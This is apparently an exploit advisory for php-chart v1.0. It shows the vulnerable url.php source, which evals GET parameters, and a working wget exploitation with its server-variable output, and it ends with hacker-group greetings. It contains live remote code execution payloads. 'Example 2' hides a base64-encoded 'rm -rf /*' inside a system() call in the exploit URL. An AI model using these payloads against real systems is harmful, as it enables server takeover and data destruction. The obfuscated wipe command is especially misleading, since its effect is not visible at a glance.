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=============================================================== Vulnerable Software: php-chart_v1.0 Official Site: http://php-charts.com/ Vuln: PHP Code Execution. =============================================================== Tested On: Debian squeeze 6.0.6 Server version: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug6 2012 20:08:59) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH ================================================================ About Software: Php-Charts is basically a class which can be used to generate different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML) using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql, user defined data). ================================================================ About vuln: root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php <?php require("../lib/phpchart.class.php"); $color_var=array("txt_col","line_col","bg_color"); $cname=$_GET["type"]; $chart=new PHPChart($cname); foreach($_GET as $key=>$value) { if($value!="") { if(in_array($key,$color_var)) eval('$chart->'.$key.'="#'.$value.'";'); else if($value=='yes') eval('$chart->'.$key.'=true;'); else if($value=='no') eval('$chart->'.$key.'=false;'); else if(is_numeric($value)) eval('$chart->'.$key.'='.$value.';'); else eval('$chart->'.$key."='".$value."';"); } } $chart->genChart(); Exploitation: root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt --2013-01-15 21:19:16--http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY Resolving hacker1.own... 127.0.0.1 Connecting to hacker1.own|127.0.0.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: “out.txt” [ <=>] 1,917 --.-K/s in 0s 2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917] Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4 array(28) { ["DOCUMENT_ROOT"]=> string(28) "/etc/apache2/htdocs/hacker1/" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["HTTP_ACCEPT"]=> string(3) "*/*" ["HTTP_CLIENT_IP"]=> string(9) "127.0.0.1" ["HTTP_HOST"]=> string(11) "hacker1.own" ["HTTP_USER_AGENT"]=> string(21) "Wget/1.12 (linux-gnu)" ["HTTP_VIA"]=> string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)" ["HTTP_X_FORWARDED_FOR"]=> string(9) "127.0.0.1" ["PATH"]=> string(4) "/bin" ["PHPRC"]=> string(14) "/etc/php5/cgi/" ["QUERY_STRING"]=> string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY" ["REDIRECT_STATUS"]=> string(3) "200" ["REMOTE_ADDR"]=> string(9) "127.0.0.1" ["REMOTE_PORT"]=> string(5) "60830" ["REQUEST_METHOD"]=> string(3) "GET" ["REQUEST_URI"]=> string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY" ["SCRIPT_FILENAME"]=> string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php" ["SCRIPT_NAME"]=> string(30) "/wp/chart/chart/wizard/url.php" ["SERVER_ADDR"]=> string(9) "127.0.0.1" ["SERVER_ADMIN"]=> string(21) "webmaster@hacker1.own" ["SERVER_NAME"]=> string(11) "hacker1.own" ["SERVER_PORT"]=> string(2) "80" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["SERVER_SIGNATURE"]=> string(0) "" ["SERVER_SOFTWARE"]=> string(6) "Apache" ["UNIQUE_ID"]=> string(24) "UPYOJH8AAQEAAE8eNfMAAAAC" ["PHP_SELF"]=> string(30) "/wp/chart/chart/wizard/url.php" ["REQUEST_TIME"]=> int(1358302756) } Notice: Undefined variable:in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1 Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1 root@debian:/tmp# Example 2: http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL =====================ENDS HERE============================ ================================================ KUDOSSSSSSS ================================================ packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com to all Aa Team + to all Azerbaijan Black HatZ + *Especially to my bro CAMOUFL4G3 * To All Turkish Hackers Also special thanks to: ottoman38 & HERO_AZE ================================================ /AkaStep |
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